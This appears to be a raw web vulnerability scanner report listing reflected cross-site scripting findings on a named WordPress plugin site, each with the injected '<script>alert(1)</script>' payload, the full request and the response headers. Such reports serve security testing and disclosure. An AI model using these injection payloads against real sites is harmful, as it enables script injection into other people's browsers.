HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:54 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674575+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674575; expires=Thu, 02-Feb-2012 19:22:55 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:55 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b259"><script>alert(1)</script>cf11bf0924a was submitted in the REST URL parameter 1. This input was echoed as 7b259\"><script>alert(1)</script>cf11bf0924a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site7b259"><script>alert(1)</script>cf11bf0924a/wp-content/plugins/superslider-postsincat/js/mootools-1.2.3-core-yc.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:00 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674580+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674580; expires=Thu, 02-Feb-2012 19:23:00 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:00 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b83ff"><script>alert(1)</script>15d9ca5fa65 was submitted in the REST URL parameter 2. This input was echoed as b83ff\"><script>alert(1)</script>15d9ca5fa65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentb83ff"><script>alert(1)</script>15d9ca5fa65/plugins/superslider-postsincat/js/mootools-1.2.3-core-yc.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:01 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674581+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674582; expires=Thu, 02-Feb-2012 19:23:02 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:02 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53394
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30690"><script>alert(1)</script>04ae898bca was submitted in the REST URL parameter 3. This input was echoed as 30690\"><script>alert(1)</script>04ae898bca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins30690"><script>alert(1)</script>04ae898bca/superslider-postsincat/js/mootools-1.2.3-core-yc.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:03 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674583+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86e0b"><script>alert(1)</script>4f3b7f24e7a was submitted in the REST URL parameter 4. This input was echoed as 86e0b\"><script>alert(1)</script>4f3b7f24e7a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat86e0b"><script>alert(1)</script>4f3b7f24e7a/js/mootools-1.2.3-core-yc.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674584+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45505"><script>alert(1)</script>a19c334793e was submitted in the REST URL parameter 5. This input was echoed as 45505\"><script>alert(1)</script>a19c334793e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js45505"><script>alert(1)</script>a19c334793e/mootools-1.2.3-core-yc.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674587+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674587; expires=Thu, 02-Feb-2012 19:23:07 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:07 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0ed6"><script>alert(1)</script>4a164db4c66 was submitted in the REST URL parameter 6. This input was echoed as b0ed6\"><script>alert(1)</script>4a164db4c66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js/mootools-1.2.3-core-yc.jsb0ed6"><script>alert(1)</script>4a164db4c66 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:08 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674588+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674588; expires=Thu, 02-Feb-2012 19:23:08 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:08 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e46a7"><script>alert(1)</script>c8efbec0fa1 was submitted in the REST URL parameter 1. This input was echoed as e46a7\"><script>alert(1)</script>c8efbec0fa1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitee46a7"><script>alert(1)</script>c8efbec0fa1/wp-content/plugins/superslider-postsincat/js/mootools-1.2.3.1-more.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:58 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674578+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674578; expires=Thu, 02-Feb-2012 19:22:58 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:58 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2e52"><script>alert(1)</script>c7eda42390 was submitted in the REST URL parameter 2. This input was echoed as d2e52\"><script>alert(1)</script>c7eda42390 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentd2e52"><script>alert(1)</script>c7eda42390/plugins/superslider-postsincat/js/mootools-1.2.3.1-more.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:00 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674580+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674580; expires=Thu, 02-Feb-2012 19:23:00 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:00 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65a5f"><script>alert(1)</script>825999123a4 was submitted in the REST URL parameter 3. This input was echoed as 65a5f\"><script>alert(1)</script>825999123a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins65a5f"><script>alert(1)</script>825999123a4/superslider-postsincat/js/mootools-1.2.3.1-more.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:01 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674582+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674582; expires=Thu, 02-Feb-2012 19:23:02 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:02 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9979"><script>alert(1)</script>228c627681f was submitted in the REST URL parameter 4. This input was echoed as a9979\"><script>alert(1)</script>228c627681f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincata9979"><script>alert(1)</script>228c627681f/js/mootools-1.2.3.1-more.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:03 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674583+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 928f1"><script>alert(1)</script>1c33f9cbad5 was submitted in the REST URL parameter 5. This input was echoed as 928f1\"><script>alert(1)</script>1c33f9cbad5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js928f1"><script>alert(1)</script>1c33f9cbad5/mootools-1.2.3.1-more.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674585+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3aba1"><script>alert(1)</script>0cbb2f96b6 was submitted in the REST URL parameter 6. This input was echoed as 3aba1\"><script>alert(1)</script>0cbb2f96b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js/mootools-1.2.3.1-more.js3aba1"><script>alert(1)</script>0cbb2f96b6 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674586; expires=Thu, 02-Feb-2012 19:23:06 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:06 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f91c"><script>alert(1)</script>89e1dc2587 was submitted in the REST URL parameter 1. This input was echoed as 6f91c\"><script>alert(1)</script>89e1dc2587 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site6f91c"><script>alert(1)</script>89e1dc2587/wp-content/plugins/superslider-postsincat/js/slideBox-v1.0.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:54 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674574+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674574; expires=Thu, 02-Feb-2012 19:22:54 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:54 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 246ce"><script>alert(1)</script>c071be92443 was submitted in the REST URL parameter 2. This input was echoed as 246ce\"><script>alert(1)</script>c071be92443 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content246ce"><script>alert(1)</script>c071be92443/plugins/superslider-postsincat/js/slideBox-v1.0.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:58 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674578+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674578; expires=Thu, 02-Feb-2012 19:22:58 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:58 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
